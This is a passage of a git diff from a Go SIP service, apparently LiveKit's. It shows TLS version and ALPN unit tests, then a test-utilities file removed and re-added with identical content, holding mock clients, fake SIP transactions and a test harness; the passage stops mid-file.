require.NoError(t, err) + require.Equal(t, uint16(tls.VersionTLS12), version) + }) + + t.Run("TLS 1.2 - uppercase format", func(t *testing.T) { + version, err := parseTLSVersion("TLS1.2") + require.NoError(t, err) + require.Equal(t, uint16(tls.VersionTLS12), version) + }) + + t.Run("TLS 1.3 - lowercase format", func(t *testing.T) { + version, err := parseTLSVersion("tls1.3") + require.NoError(t, err) + require.Equal(t, uint16(tls.VersionTLS13), version) + }) + + t.Run("TLS 1.3 - uppercase format", func(t *testing.T) { + version, err := parseTLSVersion("TLS1.3") + require.NoError(t, err) + require.Equal(t, uint16(tls.VersionTLS13), version) + }) + + t.Run("invalid version", func(t *testing.T) { + _, err := parseTLSVersion("tls1.4") + require.Error(t, err) + require.Contains(t, err.Error(), "unknown TLS version: tls1.4") + }) + + t.Run("invalid format", func(t *testing.T) { + _, err := parseTLSVersion("TLS 1.2") + require.Error(t, err) + require.Contains(t, err.Error(), "unknown TLS version: TLS 1.2") + }) +} + +func TestTLSALPNProtocols(t *testing.T) { + t.Run("nil returns default sip", func(t *testing.T) { + protos := tlsALPNProtocols(nil) + require.Equal(t, []string{"sip"}, protos) + }) + + t.Run("empty slice disables ALPN", func(t *testing.T) { + empty := []string{} + protos := tlsALPNProtocols(empty) + require.Empty(t, protos) + }) + + t.Run("custom protocols", func(t *testing.T) { + custom := []string{"h2", "http/1.1"} + protos := tlsALPNProtocols(custom) + require.Equal(t, []string{"h2", "http/1.1"}, protos) + }) + + t.Run("single custom protocol", func(t *testing.T) { + custom := []string{"sip"} + protos := tlsALPNProtocols(custom) + require.Equal(t, []string{"sip"}, protos) + }) +} diff --git a/pkg/sip/utilities_test.go b/pkg/sip/utilities_test.go index c3df6fe59..ef2a38ec1 100644 --- a/pkg/sip/utilities_test.go +++ b/pkg/sip/utilities_test.go @@ -1,992 +1,992 @@ -// Copyright 2025 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "errors" - "fmt" - "log/slog" - "sync" - "sync/atomic" - "testing" - "time" - - "google.golang.org/protobuf/types/known/emptypb" - - "github.com/livekit/mediatransportutil/pkg/rtcconfig" - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/rpc" - "github.com/livekit/protocol/utils/guid" - "github.com/livekit/psrpc" - "github.com/livekit/sipgo" - "github.com/livekit/sipgo/sip" - - msdk "github.com/livekit/media-sdk" - "github.com/livekit/media-sdk/mixer" - "github.com/livekit/media-sdk/rtp" - lksdk "github.com/livekit/server-sdk-go/v2" - "github.com/livekit/sip/pkg/config" - "github.com/livekit/sip/pkg/stats" -) - -const ( - testSIPWait = 2 * time.Second - testSIPSource = "127.0.0.1:5060" - testMinimalSDP = "v=0\r\no=- 0 0 IN IP4 127.0.0.1\r\ns=-\r\nc=IN IP4 127.0.0.1\r\nt=0 0\r\nm=audio 5004 RTP/AVP 0\r\na=rtpmap:0 PCMU/8000\r\n" - testSIPTxBuffer = 16 -) - -// MockIOInfoClient is a no-op implementation of rpc.IOInfoClient for testing -type MockIOInfoClient struct{} - -// Egress methods -func (m *MockIOInfoClient) CreateEgress(ctx context.Context, req *livekit.EgressInfo, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { - return &emptypb.Empty{}, nil -} - -func (m *MockIOInfoClient) UpdateEgress(ctx context.Context, req *livekit.EgressInfo, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { - return &emptypb.Empty{}, nil -} - -func (m *MockIOInfoClient) GetEgress(ctx context.Context, req *rpc.GetEgressRequest, opts ...psrpc.RequestOption) (*livekit.EgressInfo, error) { - return nil, errors.New("not implemented") -} - -func (m *MockIOInfoClient) ListEgress(ctx context.Context, req *livekit.ListEgressRequest, opts ...psrpc.RequestOption) (*livekit.ListEgressResponse, error) { - return nil, errors.New("not implemented") -} - -func (m *MockIOInfoClient) UpdateMetrics(ctx context.Context, req *rpc.UpdateMetricsRequest, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { - return &emptypb.Empty{}, nil -} - -// Ingress methods -func (m *MockIOInfoClient) CreateIngress(ctx context.Context, req *livekit.IngressInfo, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { - return &emptypb.Empty{}, nil -} - -func (m *MockIOInfoClient) GetIngressInfo(ctx context.Context, req *rpc.GetIngressInfoRequest, opts ...psrpc.RequestOption) (*rpc.GetIngressInfoResponse, error) { - return nil, errors.New("not implemented") -} - -func (m *MockIOInfoClient) UpdateIngressState(ctx context.Context, req *rpc.UpdateIngressStateRequest, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { - return &emptypb.Empty{}, nil -} - -// SIP methods -func (m *MockIOInfoClient) GetSIPTrunkAuthentication(ctx context.Context, req *rpc.GetSIPTrunkAuthenticationRequest, opts ...psrpc.RequestOption) (*rpc.GetSIPTrunkAuthenticationResponse, error) { - return nil, errors.New("not implemented") -} - -func (m *MockIOInfoClient) EvaluateSIPDispatchRules(ctx context.Context, req *rpc.EvaluateSIPDispatchRulesRequest, opts ...psrpc.RequestOption) (*rpc.EvaluateSIPDispatchRulesResponse, error) { - return nil, errors.New("not implemented") -} - -func (m *MockIOInfoClient) UpdateSIPCallState(ctx context.Context, req *rpc.UpdateSIPCallStateRequest, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { - return &emptypb.Empty{}, nil -} - -func (m *MockIOInfoClient) RecordCallContext(ctx context.Context, req *rpc.RecordCallContextRequest, opts ...psrpc.RequestOption) (*emptypb.Empty, error) { - return &emptypb.Empty{}, nil -} - -func (m *MockIOInfoClient) Close() { - // No-op for testing -} - -// testRoom is a mock Room implementation that skips actual LiveKit connection -type testRoom struct { - room *Room -} - -var _ RoomInterface = (*testRoom)(nil) - -type testRoomConfig struct { - ringForever bool -} - -func newTestRoomConfig(cfg *testRoomConfig) GetRoomFunc { - return func(log logger.Logger, st *RoomStats) RoomInterface { - return newTestRoomWithConfig(log, st, cfg) - } -} - -// newTestRoom creates a Room that skips actual LiveKit connection -func newTestRoomWithConfig(log logger.Logger, st *RoomStats, cfg *testRoomConfig) RoomInterface { - if cfg == nil { - cfg = &testRoomConfig{} - } - if st == nil { - st = &RoomStats{} - } - // Create a Room with all the necessary structure but skip connection - room := &Room{ - log: log, - stats: st, - outboundAudio: msdk.NewWriteCloserSwitch[msdk.PCM16Sample](RoomSampleRate), - outboundDTMF: msdk.NewWriteCloserSwitch[string](0), - subscribe: atomic.Bool{}, - } - room.inboundDTMF = inboundDTMFWriter{room} - - // Create mixer - var err error - room.mix, err = mixer.NewMixer(room.outboundAudio, rtp.DefFrameDur, 1, mixer.WithStats(&st.Mixer), mixer.WithOutputChannel()) - if err != nil { - panic(err) - } - - roomLog, resolve := log.WithDeferredValues() - room.roomLog = roomLog - - // Create a minimal lksdk.Room without connecting - sdkRoom := lksdk.NewRoom(nil) - room.room.Store(sdkRoom) - - // Set ready immediately (skip connection) - room.ready.Break() - if !cfg.ringForever { - room.subscribed.Break() - } - resolve.Resolve() - - sdkRoom.OnRoomUpdate(&livekit.Room{ // Set metadata, and specifically Sid - Name: "test-room", - Metadata: "test-metadata", - Sid: "test-room-sid", - NumParticipants: 1, - NumPublishers: 1, - }) - - // Set up minimal participant info - room.p.Store(&ParticipantInfo{ - ID: "test-participant-id", - RoomName: "test-room", - Identity: "test-participant", - Name: "Test Participant", - }) - - return &testRoom{room: room} -} - -// Connect overrides Room.Connect to skip actual LiveKit connection -func (r *testRoom) Connect(_ context.Context, conf *config.Config, rconf RoomConfig) error { - // Update participant info from config - partConf := rconf.Participant - r.room.p.Store(&ParticipantInfo{ - RoomName: rconf.RoomName, - Identity: partConf.Identity, - Name: partConf.Name, - }) - // Skip actual connection - room is already set up - return nil -} - -// All other methods delegate to the embedded Room -func (r *testRoom) Closed() <-chan struct{} { - return r.room.Closed() -} - -func (r *testRoom) ClosedReason() livekit.DisconnectReason { - return r.room.ClosedReason() -} - -func (r *testRoom) Subscribed() <-chan struct{} { - return r.room.Subscribed() -} - -func (r *testRoom) Room() *lksdk.Room { - return r.room.Room() -} - -func (r *testRoom) Subscribe() { - r.room.Subscribe() -} - -func (r *testRoom) WriteOutboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer { - return r.room.WriteOutboundAudioTo(w) -} - -func (r *testRoom) WriteOutboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] { - return r.room.WriteOutboundDTMFTo(w) -} - -func (r *testRoom) GetInboundAudioWriter() (msdk.PCM16Writer, error) { - return r.NewParticipantTrack(RoomSampleRate) -} - -func (r *testRoom) GetInboundDTMFWriter() msdk.WriteCloser[string] { - return r.room.GetInboundDTMFWriter() -} - -func (r *testRoom) Close() error { - return r.room.Close() -} - -func (r *testRoom) CloseWithReason(reason livekit.DisconnectReason) error { - return r.room.CloseWithReason(reason) -} - -func (r *testRoom) Participant() ParticipantInfo { - return r.room.Participant() -} - -func (r *testRoom) NewParticipantTrack(sampleRate int) (msdk.WriteCloser[msdk.PCM16Sample], error) { - // For testing, we need to mock NewParticipantTrack since it requires a real LocalParticipant - // which we don't have in our mock lksdk.Room. Return a no-op writer. - return &noOpWriter{}, nil -} - -// noOpWriter is a no-op implementation of msdk.WriteCloser for testing -type noOpWriter struct{} - -func (w *noOpWriter) String() string { - return "noOpWriter" -} - -func (w *noOpWriter) SampleRate() int { - return RoomSampleRate -} - -func (w *noOpWriter) WriteSample(samples msdk.PCM16Sample) error { - // No-op for testing - return nil -} - -func (w *noOpWriter) Close() error { - return nil -} - -func (r *testRoom) NewTrack() *mixer.Input { - return r.room.NewTrack() -} - -func (r *testRoom) RegisterRpcCtxMethod(method string, handler lksdk.RpcHandlerCtxFunc) error { - return r.room.RegisterRpcCtxMethod(method, handler) -} - -type testSIPClientTransaction struct { - log logger.Logger - responses chan *sip.Response - cancels chan struct{} - done chan struct{} - err chan error -} - -func (t *testSIPClientTransaction) Terminate() { - t.log.Infow("Terminating transaction", "tx", fmt.Sprintf("%p", t)) - if t.responses != nil { - close(t.responses) - t.responses = nil - } - if t.cancels != nil { - close(t.cancels) - t.cancels = nil - } - if t.done != nil { - close(t.done) - t.done = nil - } - if t.err != nil { - close(t.err) - t.err = nil - } -} - -func (t *testSIPClientTransaction) Done() <-chan struct{} { - return t.done -} - -func (t *testSIPClientTransaction) Err() error { - if t.err == nil { - return nil - } - return <-t.err -} - -func (t *testSIPClientTransaction) Responses() <-chan *sip.Response { - return t.responses -} - -func (t *testSIPClientTransaction) Cancel() error { - select { - case t.cancels <- struct{}{}: - return nil - default: - return errors.New("cancel already sent") - } -} - -func (t *testSIPClientTransaction) SendResponse(resp *sip.Response) error { - t.log.Infow("SIP Response sent on transaction", "tx", fmt.Sprintf("%p", t), "response", resp.String()) - select { - case t.responses <- resp: - return nil - default: - return errors.New("failed to add response") - } -} - -type transactionRequest struct { - req *sip.Request - transaction *testSIPClientTransaction - sequence uint64 -} - -type sipRequest struct { - req *sip.Request - sequence uint64 -} - -// Creates a utility for testing SIP correctness without going out on the network, local or otherwise. -// This is useful to isolate transport and routing tests (handled by sipgo.Client) from SIP logic. -// -// Works by mocking SIPClient interface, and providing tests with channels to listen for messages on. -// An interface mirroring sipgo.Client to be able to mock it in tests. -type testSIPClient struct { - log logger.Logger - sequence atomic.Uint64 - - mu sync.Mutex - transactionByCallID map[string][]*transactionRequest - transactionBySipCallID map[string][]*transactionRequest - requestByCallID map[string][]*sipRequest - requestBySipCallID map[string][]*sipRequest - wakeup chan struct{} -} - -func (w *testSIPClient) FillRequestBlanks(req *sip.Request) { - if req.Via() == nil { - via := &sip.ViaHeader{ - ProtocolName: "SIP", - ProtocolVersion: "2.0", - Transport: req.Transport(), - Host: "127.0.0.1", - Port: 5060, - Params: sip.NewParams(), - } - if via.Transport == "" { - via.Transport = "UDP" - } - via.Params.Add("branch", sip.GenerateBranchN(16)) - req.PrependHeader(via) - } - if req.From() == nil { - req.AppendHeader(&sip.FromHeader{Address: sip.Uri{User: "caller", Host: "example.com"}}) - } - if req.From().Params == nil { - req.From().Params = sip.NewParams() - } - if _, ok := req.From().Params.Get("tag"); !ok { - req.From().Params.Add("tag", sip.GenerateTagN(16)) - } - if req.To() == nil { - req.AppendHeader(&sip.ToHeader{Address: sip.Uri{User: "callee", Host: "example.com"}}) - } - if req.To().Params == nil { - req.To().Params = sip.NewParams() - } - if req.CSeq() == nil { - req.AppendHeader(&sip.CSeqHeader{ - SeqNo: 1, - MethodName: req.Method, - }) - } - if req.CallID() == nil { - calid := sip.CallIDHeader("test-call-" + sip.GenerateTagN(16)) - req.AppendHeader(&calid) - } - if req.MaxForwards() == nil { - maxfwd := sip.MaxForwardsHeader(70) - req.AppendHeader(&maxfwd) - } -} - -func (w *testSIPClient) deliverTx(txReq *transactionRequest) { - w.mu.Lock() - defer w.mu.Unlock() - ch := w.wakeup - w.wakeup = make(chan struct{}) - defer close(ch) - form := txReq.req.From() - if form == nil { - panic("from header is required") - } - tag, ok := form.Params.Get("tag") - if !ok { - panic("tag is required") - } - sipCallID := txReq.req.CallID().Value() - w.transactionByCallID[tag] = append(w.transactionByCallID[tag], txReq) - w.transactionBySipCallID[sipCallID] = append(w.transactionBySipCallID[sipCallID], txReq) -} - -func (w *testSIPClient) deliverReq(req *sipRequest) { - w.mu.Lock() - defer w.mu.Unlock() - ch := w.wakeup - w.wakeup = make(chan struct{}) - defer close(ch) - form := req.req.From() - if form == nil { - panic("from header is required") - } - tag, ok := form.Params.Get("tag") - if !ok { - panic("tag is required") - } - sipCallID := req.req.CallID().Value() - w.requestByCallID[tag] = append(w.requestByCallID[tag], req) - w.requestBySipCallID[sipCallID] = append(w.requestBySipCallID[sipCallID], req) - -} - -func (w *testSIPClient) TransactionRequest(req *sip.Request, options ...sipgo.ClientRequestOption) (sip.ClientTransaction, error) { - if len(options) > 0 { - panic("options not supported for testSIPClient") - } - w.log.Infow("SIP TransactionRequest sent on client", "client", fmt.Sprintf("%p", w), "request", req.String()) - w.FillRequestBlanks(req) - sequence := w.sequence.Add(1) - tx := &testSIPClientTransaction{ - log: w.log, - responses: make(chan *sip.Response, testSIPTxBuffer), - cancels: make(chan struct{}), - done: make(chan struct{}), - err: make(chan error, 1), - } - txReq := &transactionRequest{ - sequence: sequence, - req: req, - transaction: tx, - } - w.deliverTx(txReq) - return tx, nil -} - -func (w *testSIPClient) WriteRequest(req *sip.Request, options ...sipgo.ClientRequestOption) error { - if len(options) > 0 { - panic("options not supported for testSIPClient") - } - w.log.Infow("SIP WriteRequest sent on client", "client", fmt.Sprintf("%p", w), "request", req.String()) - w.FillRequestBlanks(req) - sequence := w.sequence.Add(1) - reqReq := &sipRequest{ - sequence: sequence, - req: req, - } - w.deliverReq(reqReq) - return nil -} - -func (w *testSIPClient) removeTransactionLocked(txReqs []*transactionRequest) (*transactionRequest, bool) { - if len(txReqs) == 0 { - return nil, false - } - txReq := txReqs[0] - callID := txReq.req.From().Params.GetOr("tag", "") - sipCallID := txReq.req.CallID().Value() - byCallID := w.transactionByCallID[callID] - if len(byCallID) <= 0 { - panic("callID not found") - } else if txReq != byCallID[0] { - panic("unexpected transaction request") - } - w.transactionByCallID[callID] = byCallID[1:] - - bySipCallID := w.transactionBySipCallID[sipCallID] - if len(bySipCallID) <= 0 { - panic("sipCallID not found") - } else if txReq != bySipCallID[0] { - panic("unexpected transaction request") - } - w.transactionBySipCallID[sipCallID] = bySipCallID[1:] - return txReq, true -} - -func (w *testSIPClient) removeRequestLocked(reqs []*sipRequest) (*sipRequest, bool) { - if len(reqs) == 0 { - return nil, false - } - req := reqs[0] - callID := req.req.From().Params.GetOr("tag", "") - sipCallID := req.req.CallID().Value() - byCallID := w.requestByCallID[callID] - if len(byCallID) <= 0 { - panic("callID not found") - } else if req != byCallID[0] { - panic("unexpected transaction request") - } - if len(byCallID) == 1 { - delete(w.requestByCallID, callID) - } else { - w.requestByCallID[callID] = byCallID[1:] - } - - bySipCallID := w.requestBySipCallID[sipCallID] - if len(bySipCallID) <= 0 { - panic("sipCallID not found") - } else if req != bySipCallID[0] { - panic("unexpected transaction request") - } - if len(bySipCallID) == 1 { - delete(w.requestBySipCallID, sipCallID) - } else { - w.requestBySipCallID[sipCallID] = bySipCallID[1:] - } - return req, true -} - -func (w *testSIPClient) WaitTransactionTimeout(d time.Duration, callID string, sipCallID string) (*transactionRequest, error) { - if callID == "" && sipCallID == "" { - panic("callID or sipCallID is required") - } - timer := time.NewTimer(d) - defer timer.Stop() - for { - w.mu.Lock() - if w.wakeup == nil { - panic("test client not closed") - } - if callID != "" { - txReq, ok := w.removeTransactionLocked(w.transactionByCallID[callID]) - if ok { - w.mu.Unlock() - return txReq, nil - } - } - if sipCallID != "" { - txReq, ok := w.removeTransactionLocked(w.transactionBySipCallID[sipCallID]) - if ok { - w.mu.Unlock() - return txReq, nil - } - } - wakeup := w.wakeup - w.mu.Unlock() - - select { - case <-timer.C: - return nil, errors.New("timeout waiting for TransactionRequest") - case <-wakeup: - continue - } - } -} -func (w *testSIPClient) WaitRequestTimeout(d time.Duration, callID string, sipCallID string) (*sipRequest, error) { - if callID == "" && sipCallID == "" { - panic("callID or sipCallID is required") - } - timer := time.NewTimer(d) - defer timer.Stop() - for { - w.mu.Lock() - if w.wakeup == nil { - panic("test client not closed") - } - if callID != "" { - reqs, ok := w.removeRequestLocked(w.requestByCallID[callID]) - if ok { - w.mu.Unlock() - return reqs, nil - } - } - if sipCallID != "" { - reqs, ok := w.removeRequestLocked(w.requestBySipCallID[sipCallID]) - if ok { - w.mu.Unlock() - return reqs, nil - } - } - wakeup := w.wakeup - w.mu.Unlock() - - select { - case <-timer.C: - return nil, errors.New("timeout waiting for SIPRequest") - case <-wakeup: - continue - } - } -} - -func (w *testSIPClient) Close() error { - w.mu.Lock() - defer w.mu.Unlock() - if w.wakeup != nil { - close(w.wakeup) - w.wakeup = nil - } - return nil -} - -var ( - _ SIPClient = (*testSIPClient)(nil) - _ sip.ClientTransaction = (*testSIPClientTransaction)(nil) - _ sip.ServerTransaction = (*testSIPServerTransaction)(nil) -) - -// testSIPServerTransaction fakes sipgo's ServerTransaction so tests can inject -// requests into package handlers and observe Respond, without a sipgo Server. -type testSIPServerTransaction struct { - log logger.Logger - req *sip.Request - responses chan *sip.Response - acks chan *sip.Request - cancels chan *sip.Request - done chan struct{} - err chan error - terminateOnce sync.Once -} - -func (t *testSIPServerTransaction) Terminate() { - t.terminateOnce.Do(func() { - t.log.Infow("Terminating server transaction", "tx", fmt.Sprintf("%p", t)) - close(t.done) - }) -} - -func (t *testSIPServerTransaction) Done() <-chan struct{} { - return t.done -} - -func (t *testSIPServerTransaction) Err() error { - if t.err == nil { - return nil - } - return <-t.err -} - -func (t *testSIPServerTransaction) Respond(res *sip.Response) error { - t.log.Infow("SIP Respond on server transaction", "response", res.String()) - select { - case <-t.done: - return errors.New("transaction terminated") - case t.responses <- res: - return nil - } -} - -func (t *testSIPServerTransaction) Acks() <-chan *sip.Request { - return t.acks -} - -func (t *testSIPServerTransaction) Cancels() <-chan *sip.Request { - return t.cancels -} - -func (t *testSIPServerTransaction) SendAck(req *sip.Request) { - if req == nil { - req = sip.NewRequest(sip.ACK, sip.Uri{}) - } - select { - case <-t.done: - case t.acks <- req: - } -} - -func (t *testSIPServerTransaction) SendCancel(req *sip.Request) { - if req == nil { - req = sip.NewRequest(sip.CANCEL, sip.Uri{}) - } - select { - case <-t.done: - case t.cancels <- req: - } -} - -func (t *testSIPServerTransaction) WaitResponseTimeout(tb testing.TB, d time.Duration) *sip.Response { - tb.Helper() - select { - case res, ok := <-t.responses: - if !ok { - tb.Fatal("server transaction closed while waiting for response") - return nil - } - return res - case <-time.After(d): - tb.Fatalf("timeout waiting for SIP response after %s", d) - return nil - } -} - -// TestSIPConfig holds configuration for creating a testSIPHarness fixture. -type TestSIPConfig struct { - Region string // Defaults to "test" - Config *config.Config // Creates minimal config if nil - Monitor *stats.Monitor // Minimal monitor if nil - GetIOClient GetStateHandler // MockIOInfoClient if nil - GetRoom GetRoomFunc // newTestRoom if nil - Handler Handler // empty TestHandler if nil -} - -// testSIPHarness is a sipgo-less test fixture -// It allows testing orchestration logic without sipgo, and specifically -// without the need to work around certain peculiarities of the real thing -// Inbound requests are managed via testSIPServerTransaction -// Outbound requests are managed via testSIPClient -type testSIPHarness struct { - log logger.Logger - Client *Client - Server *Server - client *testSIPClient - clientCreated atomic.Bool -} - -// Wait for the package to send a SIP request to a remote endpoint -func (h *testSIPHarness) WaitTransaction(tb testing.TB, timeout time.Duration, callID string, sipCallID string) *transactionRequest { - tb.Helper() - res, err := h.client.WaitTransactionTimeout(timeout, callID, sipCallID) - if err != nil { - tb.Fatalf("error waiting for TransactionRequest: %v", err) - return nil - } - return res -} - -// Wait for the package to send a non-transaction SIP request to a remote endpoint -func (h *testSIPHarness) WaitRequest(tb testing.TB, timeout time.Duration, callID string, sipCallID string) *sipRequest { - tb.Helper() - res, err := h.client.WaitRequestTimeout(timeout, callID, sipCallID) - if err != nil { - tb.Fatalf("error waiting for Request: %v", err) - return nil - } - return res -} - -// Handle delivers req to the package as sipgo would: INVITE/ACK/BYE/NOTIFY/OPTIONS -// hit Server handlers, anything else falls through to Client.OnRequest then OnNoRoute. -// Dispatch runs in a goroutine because inbound Accept blocks until ACK. -func (h *testSIPHarness) Handle(req *sip.Request) *testSIPServerTransaction { - if req.Source() == "" { - req.SetSource(testSIPSource) - } - if req.Destination() == "" { - req.SetDestination(testSIPSource) - } - tx := &testSIPServerTransaction{ - log: h.log, - req: req, - responses: make(chan *sip.Response, testSIPTxBuffer), - acks: make(chan *sip.Request, testSIPTxBuffer), - cancels: make(chan *sip.Request, testSIPTxBuffer), - done: make(chan struct{}), - err: make(chan error, 1), - } - go h.dispatch(req, tx) - return tx -} - -func (h *testSIPHarness) dispatch(req *sip.Request, tx sip.ServerTransaction) { - log := slog.New(logger.ToSlogHandler(h.log)) - switch req.Method { - case sip.INVITE: - h.Server.onInvite(log, req, tx) - case sip.ACK: - h.Server.onAck(log, req, tx) - case sip.BYE: - h.Server.onBye(log, req, tx) - case sip.NOTIFY: - h.Server.onNotify(log, req, tx) - case sip.OPTIONS: - h.Server.onOptions(log, req, tx) - default: - if h.Client != nil && h.Client.OnRequest(req, tx) { - return - } - h.Server.OnNoRoute(log, req, tx) - } -} - -func (h *testSIPHarness) newClient(ua *sipgo.UserAgent, options ...sipgo.ClientOption) (SIPClient, error) { - if h.clientCreated.Swap(true) { - panic("client must only be created once") - } - return h.client, nil -} - -// NewTestSIP builds a test harness that replaces sipgo's client, server, and -// transport layers. sipgo's message and transaction types are still used. -// -// When package needs to be tested as the server, use Handle(). -// When testing package client behavior, use WaitTransaction() or WaitRequest(). -// -// NOTE: Most tests should use NewServiceTest. -// This utility and driver is only here for two edge cases: -// 1. Next-hop routing. If a message would be sent to a destination we cannot intercept. -// 2. Noncompliant messages & behavior sipgo will not send or accept. -func NewTestSIP(t testing.TB, cfg TestSIPConfig) *testSIPHarness { - t.Helper() - if cfg.Region == "" { - cfg.Region = "test" - } - log := logger.NewTestLogger(t) - if cfg.Config == nil { - localIP, err := config.GetLocalIP() - if err != nil { - t.Fatalf("failed to get local IP: %v", err) - } - cfg.Config = &config.Config{ - NodeID: "test-node", - SIPPort: 5060, - SIPPortListen: 5060, - ListenIP: localIP.String(), - LocalNet: localIP.String() + "/24", - RTPPort: rtcconfig.PortRange{Start: 20000, End: 30000}, - MaxCpuUtilization: 0.99, // Higher threshold for tests to avoid false positives - WsUrl: "ws://localhost:7880", - ApiKey: "test-api-key", - ApiSecret: "test-api-secret-extend-to-32-bytes-minimum", - } - } - if cfg.Monitor == nil { - var err error - cfg.Monitor, err = stats.NewMonitor(cfg.Config) - if err != nil { - t.Fatalf("failed to create monitor: %v", err) - } - // Start the monitor so it reports healthy status - if err := cfg.Monitor.Start(cfg.Config); err != nil { - t.Fatalf("failed to start monitor: %v", err) - } - // Wait for CPU stats to initialize and health check to pass - // The monitor samples CPU asynchronously, so we need to wait for the first sample - deadline := time.Now().Add(2 * time.Second) - for time.Now().Before(deadline) { - if cfg.Monitor.Health() == stats.HealthOK { - break - } - time.Sleep(50 * time.Millisecond) - } - t.Cleanup(func() { - cfg.Monitor.Stop() - }) - } - if cfg.GetIOClient == nil { - cfg.GetIOClient = func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) StateHandler { - return NewRPCStateHandler(&MockIOInfoClient{}) - } - } - if cfg.GetRoom == nil { - cfg.GetRoom = newTestRoomConfig(nil) - } - if cfg.Handler == nil { - cfg.Handler = &TestHandler{} - } - - h := &testSIPHarness{ - log: log, - client: &testSIPClient{ - log: log, - requestByCallID: make(map[string][]*sipRequest), - requestBySipCallID: make(map[string][]*sipRequest), - transactionByCallID: make(map[string][]*transactionRequest), - transactionBySipCallID: make(map[string][]*transactionRequest), - wakeup: make(chan struct{}), - }, - } - - client := NewClient(cfg.Region, cfg.Config, log, cfg.Monitor, cfg.GetIOClient, WithGetSipClient(h.newClient), WithGetRoomClient(cfg.GetRoom)) - client.SetHandler(cfg.Handler) - - // Set up service config with minimal values - localIP, err := config.GetLocalIP() - if err != nil { - t.Fatalf("failed to get local IP: %v", err) - } - sconf := &ServiceConfig{ - SignalingIP: localIP, - SignalingIPLocal: localIP, - MediaIP: localIP, - } - - err = client.Start(nil, sconf) // needed to set sconf - if err != nil { - t.Fatalf("failed to start client: %v", err) - } - t.Cleanup(func() { - client.Stop() - }) - - srv := NewServer(cfg.Region, cfg.Config, log, cfg.Monitor, cfg.GetIOClient, WithGetRoomServer(cfg.GetRoom), WithClient(client)) - srv.SetHandler(cfg.Handler) - srv.sconf = sconf - srv.sipUnhandled = client.OnRequest - t.Cleanup(srv.Stop) - - h.Client = client - h.Server = srv - return h -} - -// NewOutboundTestClient starts a Client with the sipgo-less mock. Prefer NewTestSIP -// when the test needs to wait on transactions or inject inbound requests. -func NewOutboundTestClient(t testing.TB, cfg TestSIPConfig) *Client { - return NewTestSIP(t, cfg).Client -} - -// MinimalCreateSIPParticipantRequest creates a minimal valid request for testing. -// All required fields are set to test values. -func MinimalCreateSIPParticipantRequest() *rpc.InternalCreateSIPParticipantRequest { - localIP, _ := config.GetLocalIP() - return &rpc.InternalCreateSIPParticipantRequest{ - CallTo: "+1234567890", - Address: "sip.example.com", - Number: "+0987654321", - Hostname: localIP.String(), - RoomName: guid.New(guid.RoomPrefix + "TEST_"), - ParticipantIdentity: "test-participant", - ParticipantName: "Test Participant", - SipCallId: guid.New(guid.SIPCallPrefix + "TEST_"), - Transport: livekit.SIPTransport_SIP_TRANSPORT_UDP, - WsUrl: "ws://localhost:7880", - Token: "test-token", - } -} - -// MinimalInviteRequest builds a UDP INVITE the inbound handlers will accept. -func MinimalInviteRequest() *sip.Request { - to := sip.Uri{User: "+1234567890", Host: "sip.example.com", Port: 5060} - from := sip.Uri{User: "+0987654321", Host: "127.0.0.1", Port: 5060} - req := sip.NewRequest(sip.INVITE, to) - fromH := &sip.FromHeader{Address: from, Params: sip.NewParams()} - fromH.Params.Add("tag", sip.GenerateTagN(16)) - req.AppendHeader(fromH) - req.AppendHeader(&sip.ToHeader{Address: to}) - req.AppendHeader(&sip.ContactHeader{Address: from}) - cid := sip.CallIDHeader("test-call-" + sip.GenerateTagN(16)) - req.AppendHeader(&cid) - req.AppendHeader(&sip.CSeqHeader{SeqNo: 1, MethodName: sip.INVITE}) - via := &sip.ViaHeader{ - ProtocolName: "SIP", - ProtocolVersion: "2.0", - Transport: "UDP", - Host: "127.0.0.1", - Port: 5060, - Params: sip.NewParams(), - } - via.Params.Add("branch", "z9hG4bK"+sip.GenerateTagN(16)) - req.AppendHeader(via) - maxfwd := sip.MaxForwardsHeader(70) - req.AppendHeader(&maxfwd) - req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - req.SetBody([]byte(testMinimalSDP)) - req.SetSource(testSIPSource) - req.SetDestination(testSIPSource) - return req -} +// Copyright 2025 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "errors" + "fmt" + "log/slog" + "sync" + "sync/atomic" + "testing" + "time" + + "google.golang.org/protobuf/types/known/emptypb" + + "github.com/livekit/mediatransportutil/pkg/rtcconfig" + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + "github.com/livekit/protocol/utils/guid" + "github.com/livekit/psrpc" + "github.com/livekit/sipgo" + "github.com/livekit/sipgo/sip" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/mixer" + "github.com/livekit/media-sdk/rtp" + lksdk "github.com/livekit/server-sdk-go/v2" + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/stats" +) + +const ( + testSIPWait = 2 * time.Second + testSIPSource = "127.0.0.1:5060" + testMinimalSDP = "v=0\r\no=- 0 0 IN IP4 127.0.0.1\r\ns=-\r\nc=IN IP4 127.0.0.1\r\nt=0 0\r\nm=audio 5004 RTP/AVP 